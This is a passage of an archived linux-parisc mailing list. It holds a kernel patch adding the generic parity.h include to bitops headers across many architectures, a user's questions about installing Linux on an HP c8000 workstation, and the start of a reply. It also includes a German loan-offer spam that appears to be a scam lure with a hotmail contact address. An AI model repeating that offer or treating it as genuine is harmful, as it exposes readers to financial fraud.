Cc: linux-kernel@vger.kernel.org, linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, uclinux-h8-devel@lists.sourceforge.jp,
	linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-am33-list@redhat.com,
	linux@lists.openrisc.net, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-xtensa@linux-xtensa.org
To: Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@arm.linux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Richard Kuo <rkuo@codeaurora.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Rich Felker <dalias@libc.org>, Chris Zankel <chris@zankel.net>,
	Max Filippov <jcmvbkbc@gmail.com>,
	"Peter Zijlstra (Intel)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 27 06:04:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ak1vs-0006Zu-Id
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Mar 2016 06:04:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751121AbcC0EEB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Mar 2016 00:04:01 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:34735 "EHLO
	mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750766AbcC0ED6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Mar 2016 00:03:58 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id n5so16270142pfn.1;
        Sat, 26 Mar 2016 21:03:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:references:from:to:cc:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=CiClFWZeL1ZwBa2YHd1PFNY/FJF1hV1WnM0gWbLad+U=;
        b=md7YdY18K5ZIRQym5AGd0hZoyNa5ltV+LMWg8JeHKoQPZsdXIRJVlHTWZpoaY7+LXb
         dkFR8trwb0/723fihSTmbyoYZFG/hWjJz/YxI7YgLCQDavfSqw2fzaX34gt8z4NadQWS
         HwHeFquIWmdTwswyotRL2dXEiUFamapn0FwIgVftZB5iuYw2ZJd/T9AgVDhNtkM3a7iZ
         WhMjSEk47QTRk8yDmxKQzAABwjntzTtfMpDxIgIOxw1bnRvQkMWSksedhlwV0wr8+Me+
         TFMULV8Gopm1M/2C85osOfTig5D+7K3NVdHXTCjnBIUcgGHhB/acDFq03dcmBtDw+myC
         nbww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:references:from:to:cc:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=CiClFWZeL1ZwBa2YHd1PFNY/FJF1hV1WnM0gWbLad+U=;
        b=Vk+0QaqqAiAilI2CoBlWyAmkOB8PRu1MOLYQmvp991OhEanD0LbIowXPTkjpd6zdXw
         J4MQgjt6MePh94gSvyPFcgQiffmeEXdCqe8OX7v6wJwMh3BaJS6PZKGIQLKMqdOfHNid
         DkIOEPxlNugDajnPD/axDUXkvgXu1l3pQlcB8LBlBfiRV2W/YHdNCIRxrmjx+rh182pe
         ICGeGZNROPdfq5O+s1Sbf2Tt7zCS9WzuIAjlSHXPehDtW2ksqukLk+e4EuW7CHItuYvb
         H8DK6FcZsLch/gUTyXAdp1R1dUpOtFhIqXIMGMsYKqApgC+pqa3zYD2OdZBxle40qPZ8
         PztQ==
X-Gm-Message-State: AD7BkJKusFr+aarfZrcD5EhQp0HQauJCi6I5VFeJL9bay4mUCYQNgM9rVBneKI8vhqtnqQ==
X-Received: by 10.98.10.136 with SMTP id 8mr32858981pfk.67.1459051437400;
        Sat, 26 Mar 2016 21:03:57 -0700 (PDT)
Original-Received: from [0.0.0.0] (4.tor.exit.babylon.network. [178.17.174.99])
        by smtp.googlemail.com with ESMTPSA id 27sm26063124pfo.58.2016.03.26.21.02.37
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 26 Mar 2016 21:03:56 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.1
In-Reply-To: <1458788612-4367-1-git-send-email-zhaoxiu.zeng@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26545 gmane.linux.kernel:2184409 gmane.linux.kernel.arc:771 gmane.linux.ports.arm.kernel:488194 gmane.linux.ports.hexagon:993 gmane.linux.kernel.metag:1045 gmane.linux.ports.openrisc:684 gmane.linux.ports.sh.devel:53626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26545>

From: Zeng Zhaoxiu <zhaoxiu.zeng@gmail.com>

Use the generic version.

Signed-off-by: Zeng Zhaoxiu <zhaoxiu.zeng@gmail.com>
---
 arch/arc/include/asm/bitops.h      | 1 +
 arch/arm/include/asm/bitops.h      | 1 +
 arch/arm64/include/asm/bitops.h    | 1 +
 arch/c6x/include/asm/bitops.h      | 1 +
 arch/cris/include/asm/bitops.h     | 1 +
 arch/frv/include/asm/bitops.h      | 1 +
 arch/h8300/include/asm/bitops.h    | 1 +
 arch/hexagon/include/asm/bitops.h  | 1 +
 arch/m32r/include/asm/bitops.h     | 1 +
 arch/m68k/include/asm/bitops.h     | 1 +
 arch/metag/include/asm/bitops.h    | 1 +
 arch/mn10300/include/asm/bitops.h  | 1 +
 arch/openrisc/include/asm/bitops.h | 1 +
 arch/parisc/include/asm/bitops.h   | 1 +
 arch/s390/include/asm/bitops.h     | 1 +
 arch/sh/include/asm/bitops.h       | 1 +
 arch/xtensa/include/asm/bitops.h   | 1 +
 17 files changed, 17 insertions(+)

diff --git a/arch/arc/include/asm/bitops.h b/arch/arc/include/asm/bitops.h
index 0352fb8..7967e47 100644
--- a/arch/arc/include/asm/bitops.h
+++ b/arch/arc/include/asm/bitops.h
@@ -370,6 +370,7 @@ static inline __attribute__ ((const)) int __ffs(unsigned long x)
 #define ffz(x)	__ffs(~(x))
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/lock.h>
diff --git a/arch/arm/include/asm/bitops.h b/arch/arm/include/asm/bitops.h
index e943e6c..99f28a6 100644
--- a/arch/arm/include/asm/bitops.h
+++ b/arch/arm/include/asm/bitops.h
@@ -313,6 +313,7 @@ static inline unsigned long __ffs(unsigned long x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #ifdef __ARMEB__
diff --git a/arch/arm64/include/asm/bitops.h b/arch/arm64/include/asm/bitops.h
index 9c19594..eac4965 100644
--- a/arch/arm64/include/asm/bitops.h
+++ b/arch/arm64/include/asm/bitops.h
@@ -44,6 +44,7 @@ extern int test_and_change_bit(int nr, volatile unsigned long *p);
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/non-atomic.h>
diff --git a/arch/c6x/include/asm/bitops.h b/arch/c6x/include/asm/bitops.h
index f0ab012..94eb0d1 100644
--- a/arch/c6x/include/asm/bitops.h
+++ b/arch/c6x/include/asm/bitops.h
@@ -87,6 +87,7 @@ static inline int ffs(int x)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/cris/include/asm/bitops.h b/arch/cris/include/asm/bitops.h
index 8062cb5..06bc246 100644
--- a/arch/cris/include/asm/bitops.h
+++ b/arch/cris/include/asm/bitops.h
@@ -36,6 +36,7 @@
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/lock.h>
 
diff --git a/arch/frv/include/asm/bitops.h b/arch/frv/include/asm/bitops.h
index 0df8e95..f2a7ee8 100644
--- a/arch/frv/include/asm/bitops.h
+++ b/arch/frv/include/asm/bitops.h
@@ -314,6 +314,7 @@ int __ilog2_u64(u64 n)
 
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/le.h>
diff --git a/arch/h8300/include/asm/bitops.h b/arch/h8300/include/asm/bitops.h
index 05999ab..e392db2 100644
--- a/arch/h8300/include/asm/bitops.h
+++ b/arch/h8300/include/asm/bitops.h
@@ -172,6 +172,7 @@ static inline unsigned long __ffs(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/hexagon/include/asm/bitops.h b/arch/hexagon/include/asm/bitops.h
index 5e4a59b..2df614e 100644
--- a/arch/hexagon/include/asm/bitops.h
+++ b/arch/hexagon/include/asm/bitops.h
@@ -290,6 +290,7 @@ static inline unsigned long __fls(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/m32r/include/asm/bitops.h b/arch/m32r/include/asm/bitops.h
index 86ba2b4..e3cf46b 100644
--- a/arch/m32r/include/asm/bitops.h
+++ b/arch/m32r/include/asm/bitops.h
@@ -259,6 +259,7 @@ static __inline__ int test_and_change_bit(int nr, volatile void * addr)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #endif /* __KERNEL__ */
diff --git a/arch/m68k/include/asm/bitops.h b/arch/m68k/include/asm/bitops.h
index b4a9b0d..fd673ea 100644
--- a/arch/m68k/include/asm/bitops.h
+++ b/arch/m68k/include/asm/bitops.h
@@ -519,6 +519,7 @@ static inline int __fls(int x)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #endif /* __KERNEL__ */
 
diff --git a/arch/metag/include/asm/bitops.h b/arch/metag/include/asm/bitops.h
index 2671134..ad13087 100644
--- a/arch/metag/include/asm/bitops.h
+++ b/arch/metag/include/asm/bitops.h
@@ -118,6 +118,7 @@ static inline int test_and_change_bit(unsigned int bit,
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/mn10300/include/asm/bitops.h b/arch/mn10300/include/asm/bitops.h
index fe6f8e2..60761b7 100644
--- a/arch/mn10300/include/asm/bitops.h
+++ b/arch/mn10300/include/asm/bitops.h
@@ -225,6 +225,7 @@ int ffs(int x)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 #include <asm-generic/bitops/le.h>
 
diff --git a/arch/openrisc/include/asm/bitops.h b/arch/openrisc/include/asm/bitops.h
index 3003cda..8c97642 100644
--- a/arch/openrisc/include/asm/bitops.h
+++ b/arch/openrisc/include/asm/bitops.h
@@ -43,6 +43,7 @@
 #include <asm-generic/bitops/sched.h>
 #include <asm/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/parisc/include/asm/bitops.h b/arch/parisc/include/asm/bitops.h
index 3f9406d..867ba10 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
@@ -211,6 +211,7 @@ static __inline__ int fls(int x)
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
diff --git a/arch/s390/include/asm/bitops.h b/arch/s390/include/asm/bitops.h
index 8043f10..198eead 100644
--- a/arch/s390/include/asm/bitops.h
+++ b/arch/s390/include/asm/bitops.h
@@ -460,6 +460,7 @@ static inline int fls(int word)
 #include <asm-generic/bitops/ffz.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
diff --git a/arch/sh/include/asm/bitops.h b/arch/sh/include/asm/bitops.h
index fc8e652..4bf0c35 100644
--- a/arch/sh/include/asm/bitops.h
+++ b/arch/sh/include/asm/bitops.h
@@ -86,6 +86,7 @@ static inline unsigned long ffz(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/xtensa/include/asm/bitops.h b/arch/xtensa/include/asm/bitops.h
index 3f44fa2..981fa83 100644
--- a/arch/xtensa/include/asm/bitops.h
+++ b/arch/xtensa/include/asm/bitops.h
@@ -229,6 +229,7 @@ test_and_change_bit(unsigned int bit, volatile unsigned long *p)
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
-- 
2.5.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: info@loan.com
Newsgroups: gmane.linux.ports.parisc
Subject: Darlehen Angebot
Date: Sun, 27 Mar 2016 18:13:39 +0530
Lines: 8
Approved: news@gmane.org
Message-ID: <201603271243.u2RCFKAY011514@lifc-proxy.univ-fcomte.fr>
Reply-To: legacyassetgrougp@hotmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1459085131 12737 80.91.229.3 (27 Mar 2016 13:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Mar 2016 13:25:31 +0000 (UTC)
To: Recipients <info@loan.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 27 15:25:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akAh0-0006Jd-3R
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Mar 2016 15:25:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751853AbcC0NZV convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Mar 2016 09:25:21 -0400
Original-Received: from lifc.univ-fcomte.fr ([194.57.88.66]:36247 "EHLO
	lifc-proxy.univ-fcomte.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751629AbcC0NZU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Mar 2016 09:25:20 -0400
X-Greylist: delayed 2417 seconds by postgrey-1.27 at vger.kernel.org; Sun, 27 Mar 2016 09:25:19 EDT
Original-Received: from [100.108.139.136] (static-226.162.107.27-tataidc.co.in [27.107.162.226] (may be forged))
	(authenticated bits=0)
	by lifc-proxy.univ-fcomte.fr (8.14.4/8.14.4/Debian-4) with ESMTP id u2RCFKAY011514
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sun, 27 Mar 2016 14:43:56 +0200
Content-Description: Mail message body
X-Scanned-By: MIMEDefang 2.71 on 194.57.88.66
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26546>

Sie ben=F6tigen ein Darlehen niedrige Rate? Altanlage gibt aus Darlehen=
 in g=FCnstigen Preis gilt jetzt: legacyassetgrougp@hotmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 07:33:35 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459229624 2149 80.91.229.3 (29 Mar 2016 05:33:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 05:33:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 07:33:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akmHa-0001HQ-Bn
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 07:33:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751727AbcC2Fdh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 01:33:37 -0400
Original-Received: from mail-io0-f178.google.com ([209.85.223.178]:34975 "EHLO
	mail-io0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750864AbcC2Fdh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 01:33:37 -0400
Original-Received: by mail-io0-f178.google.com with SMTP id g185so9640045ioa.2
        for <linux-parisc@vger.kernel.org>; Mon, 28 Mar 2016 22:33:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to;
        bh=z/Gg63tILgkTOMwxEVj8mxztHDRGPbVkk4t+1X5xAz0=;
        b=SYxIeTmVRDanWaYDBC9wdQHh4DKuwb9I1wPkQKl+8JSSPmPSAgT850zKsWN3Q3gFCg
         d87RjEEkJnkD5YKBF/+5/c+GhveBxbwD+HZf/GHWtWSBa8gNWPWZ2/bI0UKr6fnvx1oD
         0nwBqkXd/SEGVsh8Ah6GiQox4cC0FwHX4gJR3Ta3EMFPYv28pM/OMR6J1cx6sEuslVvx
         0MwARK6USM1fZOiepuAOzboPr07YFoaoFMakj2hB0xG14NX7sxIKmYPaO9MHYwE/7r8d
         Wyz5zNe3oSGXJ2jqXqtbBHR94+F2s6vYrS3qx/12iS0olI8kgMXyh6hnLOg5nM4A+Fmq
         gCLg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to;
        bh=z/Gg63tILgkTOMwxEVj8mxztHDRGPbVkk4t+1X5xAz0=;
        b=kFSCmhIxxWC/QEDKWZqt3sjhq5eXxNoBo6b6KQBJuZjelFnKKOnxe4AmjMqTZ1FlYg
         ZtYWh+KK3rLQs3+xeJoq+/G6OppH48JmZ1bQ62IT07YzEowGDyxwpsmYP8f6g757uU0q
         cjpaXS5WiMYPtZvh/AtT5oY2aq78hEhUHDm6ikjg5iusY2ncLHMQKHSAKhUERFbRT/LZ
         Q81q5BSjDuhDYtbHWz2TRvDD0D2KSHOIoWBMnYJNNSGHMyk8bZWOpIZwu2rc8f7rUWoz
         TwFzk4rW0jkYLY2oM+aPw3jVq2dcF110UQGIzRWKh+xk+YxaockNFeGeWG+HE1fQQohN
         mDWw==
X-Gm-Message-State: AD7BkJIX6l9FUm/9IgJU3Y0jguLTNvXZVJZmsqA3CLtXGRCFAbwMKjzCq18HF0wxWStXSxWZO7R9pQxiDcv8Tw==
X-Received: by 10.107.3.169 with SMTP id e41mr731335ioi.46.1459229615735; Mon,
 28 Mar 2016 22:33:35 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Mon, 28 Mar 2016 22:33:35 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26547>

Hello everyone,

I have recenty bought a second-hand HP c8000 workstation and I would
like to install Linux.
The c8000 has arrived with a pre-installed HP-UX 11 and works
perfectly (no hardware issues).

No matter Debian or Gentoo versions, the install CD/DVD boot/install
process hangs in the very same place. Just to limit the discussion to
a specific case, I would like to take in account the latest Debian 8.0
unstable: http://ftp.debian-ports.org/debian-cd/hppa/debian-8.0
( https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation )

The c8000 has TWO serial ports (A and B). Using null modem cables I
have connected both serial ports to a Dell desktop with two serial
ports and two serial terminals (9600, 8, n ,1) programs open.

Serial A : a lot of diagnostic and booting messages. The c8000 "bios"
produces a lot of "post" messages on the Serial A port.

Serial B : none

The CD/DVD Linux install disk boots and produce a series of messages
on the VGA monitor, then hungs. No further messages on the built-in
serial ports A and B. Game over ?

On Internet I have found serveral posts that point out the necessity
of a PCI serial port "PC compatible UART". I will try it as soon it
will available.

Just to be sure, can you confirm/negate/answer to the following questions?

Q1. On HP c8000 the built-in serial ports A and B are useless for
Linux installation. A PCI serial card with a PC compatible UART must
be used.

Q2. After installation, serial ports A and B are still unusable with
Linux or they become available?

Q3. Is it possible to install Linux and boot from an IDE/PATA disk or
any IDE/PATA disk will be available only as "data disk" (no boot; boot
works only on SCSI disks)?

Q3. I have found that c8000 "bios" has an x86 emulator capable to
detect and initialise PCI and AGP "x86 PC" cards with x86 coded
VGA-BIOS. It is correct?

Q4. Recent kernel and X11 versions have built-in hardware support for
OpenGL for the models where the manifacture has released the technical
specs. Why on Linux-hppa the hardware acceleration is not supported?

Q5. After the installation, the built-in Ethernet interface will
becomes available or I need to install a second PCI network card?

Q6. Recent kernel versions have built-in Comedi data acquisition
drivers built-in. If I will install a compatible DAQ card in a PCI
slot, it will works?

Q7. Someone has tried any hard-real-time-patched linux kernel on
pa-risc machines (like RT-PREEMPT or RTAI) or other tricks to reduce
kernel latency (like forced cpu assignement to a specific process)?

Thanks in advance for your help. A lot of hppa/c8000 hardware is now
available at ridiculous prices, therefore I suppose that the answer to
my questions in a single thread will help a lot of hppa newbies like
me.

    Simone Mannori - Italy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 08:04:58 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <4207644.uZSTasQYhb@caliban.sf-tec.de>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2471454.XFmOYSpxen"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1459231923 3816 80.91.229.3 (29 Mar 2016 06:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 06:12:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 08:11:57 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akmsf-0005qv-6Z
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 08:11:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755986AbcC2GLz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 02:11:55 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:37243 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755997AbcC2GLx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 02:11:53 -0400
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Tue, 29 Mar 2016 02:11:52 EDT
Original-Received: (qmail 22837 invoked from network); 29 Mar 2016 06:05:08 -0000
Original-Received: from dslb-088-071-134-247.088.071.pools.vodafone-ip.de ([::ffff:88.71.134.247]:42444 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <simone.mannori@gmail.com>; Tue, 29 Mar 2016 08:05:08 +0200
User-Agent: KMail/4.14.10 (Linux/4.5.0-3.g8ec3d36-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26548>

--nextPart2471454.XFmOYSpxen
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

> Q1. On HP c8000 the built-in serial ports A and B are useless for
> Linux installation. A PCI serial card with a PC compatible UART must
> be used.
> 
> Q2. After installation, serial ports A and B are still unusable with
> Linux or they become available?

